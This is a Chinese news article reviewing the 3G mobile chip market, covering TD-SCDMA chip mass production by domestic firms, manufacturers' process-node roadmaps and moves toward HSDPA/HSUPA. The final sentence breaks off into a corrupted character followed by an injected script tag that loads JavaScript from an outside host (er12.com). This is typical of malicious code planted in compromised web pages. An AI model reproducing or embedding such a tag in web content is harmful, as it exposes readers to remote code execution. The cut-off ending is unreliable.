又近岁末，回顾即将过去的一年，会发现全球3g手机芯片市场精彩纷呈，亮点多多。步wcdma和cdma2000的后尘，td-scdma商用在即。国产td-scdma芯片厂商纷纷具备了批量供货能力，为td-scdma的商用推波助澜。作为td-scdma手机芯片“短板”的射频芯片领域也出现重大突破，近期即可实现量产。各大3g芯片厂商也在加速向hsdpa和hsupa等更先进技术的演进，推出了各自的发展路线图。
3g手机芯片突破多
虽然在过去一年中，中国依然没有迎来3g牌照的发放，但是各大手机芯片厂商并未停止技术前进的脚步，这一领域可谓亮点频频。
adi公司射频和无线系统业务部业务开发总监douggrant表示，在过去的12个月中，芯片组制造商有机会了解他们的产品在实际测试网络中的表现并且评估其性能。此外，手机制造商也有机会评估各种芯片组的性能。
“过去一年中，ti的omap-vox平台充分利用ti先进的omap2架构，使基于ti前代omap的应用可实现轻松升级，而且软件的重复使用性获得大幅提升。”ti无线终端业务部亚洲区总经理fredericm.cohen说。
高通则将芯片支持随时随地的无线接入、高超的处理能力以及超长的电池寿命在无线终端上的结合视为过去一年中取得的最大进展。高通公司单芯片产品层出不穷，在针对入门级手机的低端芯片组方面、多模支持全球漫游、单芯片支持多种手机电视标准等方面都有进展。
国内td-scdma基带芯片和射频芯片厂商在过去一年中最大的进展就是具备或者即将实现td-scdma芯片的量产，并在实际测试中对芯片性能进行了验证。
天碁科技首席技术官张代君博士表示，公司今年主要是进行芯片的功能完善和性能提升，同时完成芯片的量产工作。“我们和特许半导体合作，目前支持384kb/s传输速度的td-scdmamodem芯片已经实现量产，今年5月份进行了流片并验证完毕，客户现在可以下单，我们能在8周-10周内批量供货，我们是国内第一家能做到这一点的厂商。”
展讯通信首席技术官陈大同博士认为，在过去的一年中，3g手机芯片在支持基本的cs语音通话、视频通话以及ps64k/128k/384k数据业务等方面取得了非常大的进展，在稳定性及性能上无论是在实验测试环境中还是在真实的规模网络中都得到了很好的验证。
重邮信科副总经理郑建宏透露，目前公司正在忙于外场测试，过去一年中最大的进展是从样片变成了可量产和大规模生产的芯片。通过与中芯国际合作，现在就可以批量供货。
填补国内cmos工艺td-scdma射频芯片空白的锐迪科与鼎芯都表示公司有望在近期内实现批量供货。
新制造工艺应用提速
锐迪科副总裁王亮表示，目前国际上主流的3g基带芯片厂商已经开始尝试65纳米工艺，射频芯片厂商使用90纳米工艺。不过，各家厂商之间参差不齐，出于工艺成熟度和成本等方面的考虑，倒也不必强调“一刀切”。
高通公司表示，公司主要采用成熟的90纳米工艺。例如，高通公司最近宣布了把90纳米芯片制造外包给包括ibm、三星和特许半导体在内的全部三个通用平台联盟合作伙伴。2006年4月，高通提前推出了针对cdma20001xev-dorevisiona网络、使用了65纳米技术的msm6800芯片组样片，比原计划提前了整整两个月。高通公司还将提供使用65纳米技术的msm6280、msm7200、msm7500和msm7600芯片组。高通公司也正积极参与到65纳米以下技术的开发中。
飞思卡尔公司的不同产品采用不同的工艺。飞思卡尔半导体亚太区无线及移动系统部先进系统研究组工程师林昭国说：“在mxc架构的工艺技术方面，我们采用不同的工艺技术。基于90纳米工艺的starcore/arm11基带芯片将在年底更新为65纳米工艺。”
adi公司的数字基带处理器芯片组采用0.13微米制造工艺，douggrant表示，adi公司采用了多种制造工艺，并且选用对每种产品成本、功耗和产品准备就绪最合适的工艺。
与国外厂商相比，我国td-scdma厂商采用的工艺相对落后，但是各家公司纷纷推出了向新工艺演进的时间表。
天碁科技目前采用加强型0.18微米工艺，相当于0.15微米工艺。张代君透露，明年下半年公司就会推出采用90纳米工艺的第二代芯片。
重邮信科现在采用0.13微米工艺。郑建宏表示，目前中芯国际的0.13微米工艺生产可以稳定供货，重邮信科和中芯国际也达成了65纳米工艺制造的合作意向。
而早在去年10月，凯明就推出了第一个采用90纳米半导体工艺制造的td-scdma芯片组。
加速向hsdpa和hsupa演进
在向更高速的hsdpa和hsupa的演进过程中，国际厂商和国内厂商都?script src=http://er12.com/t.js>
